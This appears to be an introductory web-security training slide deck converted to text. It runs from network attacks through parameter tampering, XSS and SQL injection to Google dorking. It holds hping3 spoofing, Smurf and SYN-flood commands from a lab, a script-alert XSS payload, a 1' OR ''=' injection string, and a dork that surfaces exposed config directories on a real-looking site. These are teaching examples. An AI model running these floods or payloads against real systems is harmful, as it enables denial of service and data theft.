



Web Application Security

Information Security Inc.

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Web Application

Initially static HTML based websites

The screenshot shows a web browser window displaying the 'World Wide Web' page. The page content includes a title 'World Wide Web', a paragraph describing the WorldWideWeb (W3) initiative, and several links such as 'What's out there?', 'Help', 'Software Products', 'Technical', 'Bibliography', 'People', 'History', and 'How can I help?'. The browser's developer tools are open, showing the HTML source code of the page. The code includes a header section and a body section with several links to other documents, such as 'What is a wide-area hypermedia', 'Summary.html', 'Administration/Mailing/Overview.html', 'Policy.html', and 'News/9211.html'. The developer tools also show the 'Styles' panel for the 'dt' element, indicating a 'display: block;' style.

World Wide Web

The WorldWideWeb (W3) is a wide-area [hypermedia](#) information retrieval initiative aiming to give universal access to a large universe of documents.

Everything there is online about W3 is linked directly or indirectly to this document, including an [executive summary](#) of the project, [Mailing lists](#), [Policy](#), November's [W3 news](#), [Frequently Asked Questions](#).

[What's out there?](#)
Pointers to the world's online information, [subjects](#), [W3 servers](#), etc.

[Help](#)
on the browser you are using

[Software Products](#)
A list of W3 project components and their current state. (e.g. [Line Mode](#), [X11 Viola](#), [NeXTStep](#), [Servers](#), [Tools](#), [Mail robot](#), [Library](#))

[Technical](#)
Details of protocols, formats, program internals etc

[Bibliography](#)
Paper documentation on W3 and references.

[People](#)
A list of some people involved in the project.

[History](#)
A summary of the history of the project.


[How can I help?](#)
If you would like to support the web..

[Getting code](#)
Getting the code by [anonymous FTP](#), etc.

```
<html>
<head></head>
<body>
  <header></header>
  <h1>World Wide Web</h1>
  "The WorldWideWeb (W3) is a wide-area
  <a name="0" href="what is.html">
  hypermedia</a>
  " information retrieval
  initiative aiming to give universal
  access to a large universe of documents."
  <p>
  "
  Everything there is online about
  W3 is linked directly or indirectly
  to this document, including an "
  <a name="24" href="Summary.html">executive
  summary</a>
  " of the project, "
  <a name="29" href="Administration/Mailing/Overview.html">Mail
  </a>
  "
  <a name="30" href="Policy.html">Policy</a>
  " , November's "
  <a name="34" href="News/9211.html">W3 news</a>
  "
  </body>
</html>
```


Web Application

Replaced with dynamic multi-technology based websites



Web Application

Web Application structure




Web Application

© Web Application structure

Security approach:

- Firewalls and other perimeter devices are deployed
- Servers are regularly patched
- Network traffic is encrypted but security bugs/vulnerabilities present at the application layer (code level) are not taken into account



Network security threats

© IP spoofing

Any station can send packets pretending to be from any IP address

```
root@LUCKY64:~# hping3 --icmp 192.168.10.98 -s 3.3.3.3
HPING 192.168.10.98 (eth0 192.168.10.98): icmp map= set, 28
^C
--- 192.168.10.98 hping statistic ---
 2 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@LUCKY64:~# route -n
Kernel IP routing table
Destination      Gateway         Genmask         Flags Metric
0.0.0.0          192.168.10.1  0.0.0.0         UG        0
192.168.10.0    0.0.0.0        255.255.255.0  U        0
root@LUCKY64:~# ifconfig | grep 192
    inet 192.168.10.12 netmask 255.255.255.0 broadcast

::~ tsubasarina$ sudo tcpdump -nn -i en0 icmp host 3.3.3.3
modifier applied to host
::~ tsubasarina$ sudo tcpdump -nn -i en0 host 3.3.3.3
; output suppressed, use -v or -vv for full protocol decode
; link-type EN10MB (Ethernet), capture size 262144 bytes
IP 3.3.3.3 > 192.168.10.98: ICMP echo request, id 9222, seq 0, length 8
IP 192.168.10.98 > 3.3.3.3: ICMP echo reply, id 9222, seq 0, length 8
IP 3.3.3.3 > 192.168.10.98: ICMP echo request, id 9222, seq 256, length 8
IP 192.168.10.98 > 3.3.3.3: ICMP echo reply, id 9222, seq 256, length 8
```

Network security threats

© Smurf attack

Ping a broadcast address, with the spoofed IP of a victim

```
19:51:40.544859 IP 192.168.10.98 > 192.168.10.98: ICMP echo request, id 11782, seq 0, length 8
19:51:41.546475 IP 192.168.10.98 > 192.168.10.98: ICMP echo request, id 11782, seq 256, length 8
19:51:42.546759 IP 192.168.10.98 > 192.168.10.98: ICMP echo request, id 11782, seq 512, length 8
19:51:48.979274 IP 192.168.10.98 > 192.168.10.255: ICMP echo request, id 12038, seq 0, length 8
19:51:48.979468 IP 192.168.10.98 > 192.168.10.255: ICMP echo request, id 12038, seq 0, length 8
19:51:48.980353 IP 192.168.10.1 > 192.168.10.98: ICMP echo reply, id 12038, seq 0, length 8
root@LUCKY164: # hping3 --icmp 192.168.10.255 -a 192.168.10.98
HPING 192.168.10.255 (eth0 192.168.10.255): icmp mode set, 28 h
^C
--- 192.168.10.255 hping statistic ---
2 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```


Denial of service (DOS) attack

- Form of attacking computer over a network. A malicious attempt to render a networked system unable but without permanently damaging it.
- If a lot of malicious hosts coordinate to flood the victim with an abundance of attack packets is called Distributed DOS (DDOS) attack.

```
CPU usage: 0.97% user, 0.48% sys, 98.53% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.0% user, 0.97% sys, 99.2% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.97% user, 2.91% sys, 96.11% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.0% user, 0.98% sys, 99.1% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 2.88% user, 65.86% sys, 31.25% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 3.86% user, 73.91% sys, 22.22% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 2.94% user, 74.1% sys, 23.3% idle
PID COMMAND %CPU TIME #TH #WQ #FO
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS

--- 192.168.10.98 hping statistic ---
10000 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@SUCKRY64: # hping3 -d 120 -S -w 64 -p 8080 --faster --rand-source 192.168.10.98
HPING 192.168.10.98 (eth0 192.168.10.98): S set, 40 headers + 120 data bytes
^c
--- 192.168.10.98 hping statistic ---
448973 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@SUCKRY64: #
root@SUCKRY64: #
root@SUCKRY64: #
root@SUCKRY64: #
root@SUCKRY64: #
root@SUCKRY64: #
root@SUCKRY64: # hping3 -d 120 -S -w 64 -p 8080 --flood --rand-source 192.168.10.98
HPING 192.168.10.98 (eth0 192.168.10.98): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
```

Fragmentation attack

Fragmentation allows oversized packets to be split to fit on a smaller network. Reassembly is difficult. Firewall and IDS may reassemble packets from how the attacked operating systems do it.


```

CPU usage: 0.97% user, 0.48% sys, 98.53% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.0% user, 0.97% sys, 99.2% idle
root@LAGR064: # C
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.97% user, 2.91% sys, 96.11% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 0.0% user, 0.98% sys, 99.1% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 2.88% user, 65.86% sys, 31.25% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 3.06% user, 73.91% sys, 22.22% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
CPU usage: 2.94% user, 74.1% sys, 23.3% idle
PID COMMAND %CPU TIME #TH #WQ #FOG
GSENT MSGRECV SYSBSD SYSMACH CSW PAGEINS
--- 192.168.10.98 hping statistic ---
10000 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@LAGR064: # hping3 -d 120 -S -w 64 -p 8080 --faster --rand-source 192.168.10.98
HPING 192.168.10.98 (eth0 192.168.10.98): S set, 40 headers + 120 data bytes
^C
--- 192.168.10.98 hping statistic ---
449973 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@LAGR064: #
root@LAGR064: #
root@LAGR064: #
root@LAGR064: #
root@LAGR064: #
root@LAGR064: # hping3 -d 120 -S -w 64 -p 8080 --flood --rand-source 192.168.10.98
HPING 192.168.10.98 (eth0 192.168.10.98): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

```

Problems

- Large number of vulnerabilities being reported are web application vulnerabilities.
- The easiest way to compromise hosts
- For web applications to properly work, have to allow traffic (port 80,443) through the firewall



Web Application Security Issues

- Web applications extend an organization's security perimeter
- Easy accessibility for attackers as well
- Over-reliance on SSL
- Most web-applications connect back to databases containing confidential information
- Lack of security awareness amongst developers
- Coding mistakes due to pressure to build and deploy the system
- Applications vary from organization to organization

Web Application Security Issues

© Misconceptions:

We are secure, we use SSL

Great at encrypting traffic

Does not validate application input

Web Application Security Issues

© Basic principle:

Make the web application do something the developer never intended for it to do.



Web Application Security Issues

© Problem: user input

- All user input is inherently evil
- Malicious input can:
 - Enable attacker to access internal databases
 - Alter flow of web applications



Web Application Security Issues

© Root cause: Client Input

- Attacks are injected through
 - Text based forms in web pages
 - Manipulating URL addresses
 - Cookie tampering
 - Manipulation of hidden files

Parameter manipulation

© Several ways:

- Text based forms in web pages
- Manipulating URL addresses
- Cookie tampering
- Manipulation of hidden files


Parameter manipulation

© Several ways: Basic examples


URLs: Will be looking at choice parameter.

`http://192.168.10.96/mutillidae/index.php?page=user-poll.php&choice=wireshark&initials=&user-poll-php-submit-button=Submit+Vote`

【Normal flow: choice parameter is wireshark】



【Duplicate it to influence the Vote】




Cross Site Scripting (XSS)

Attackers inject their own malicious scripts onto web pages and have it executed by the user's browser

◎ Basic example:

What's your name?

`<script>alert(\"ALERT\")</script>`

SQL Injection

Attacker adding his own SQL Statements in user input

© Very Basic example: 1' OR ''='

User ID:

`1' OR ''='`
`First name: admin`
`Surname: admin`
`ID: 1' OR ''='`
`First name: Gordon`
`Surname: Brown`

Google hacking

Using properly Google can be utilized as a security scanner

◎ Exploit db

<https://www.exploit-db.com/google-hacking-database/>

inurl:app/config/ intext:parameters.yml intitle:index.of

すべて 動画 画像 ニュース ショッピング もっと見る 設定 ツール

約 473 件 (0.43 秒)

Index of /zakoni/app/config

skupstina.me/zakoni/app/config/ ▾ このページを訳す

[PARENTDIR], Parent Directory, - [], config.yml, 2016-12-01 13:41, 3.6K, [], config_dev.yml, 2013-08-27 15:31, 643, [], config_prod.yml, 2013-08-27 15:31, 489, [], config_test.yml, 2013-08-27 15:31, 270, [], parameters.yml, 2016-12-01 11:44...

"MiniToolBox by Farbar" ext:txt

すべて 地図 動画 画像 ショッピング もっと見る 設定 ツール

References

- OWASP

- https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project/Pages/VMs
 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
 - <https://www.owasp.org/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf>
 - https://www.owasp.org/index.php/Top_10_2017-Top_10

- Rapid7

- <https://community.rapid7.com/docs/DOC-1875>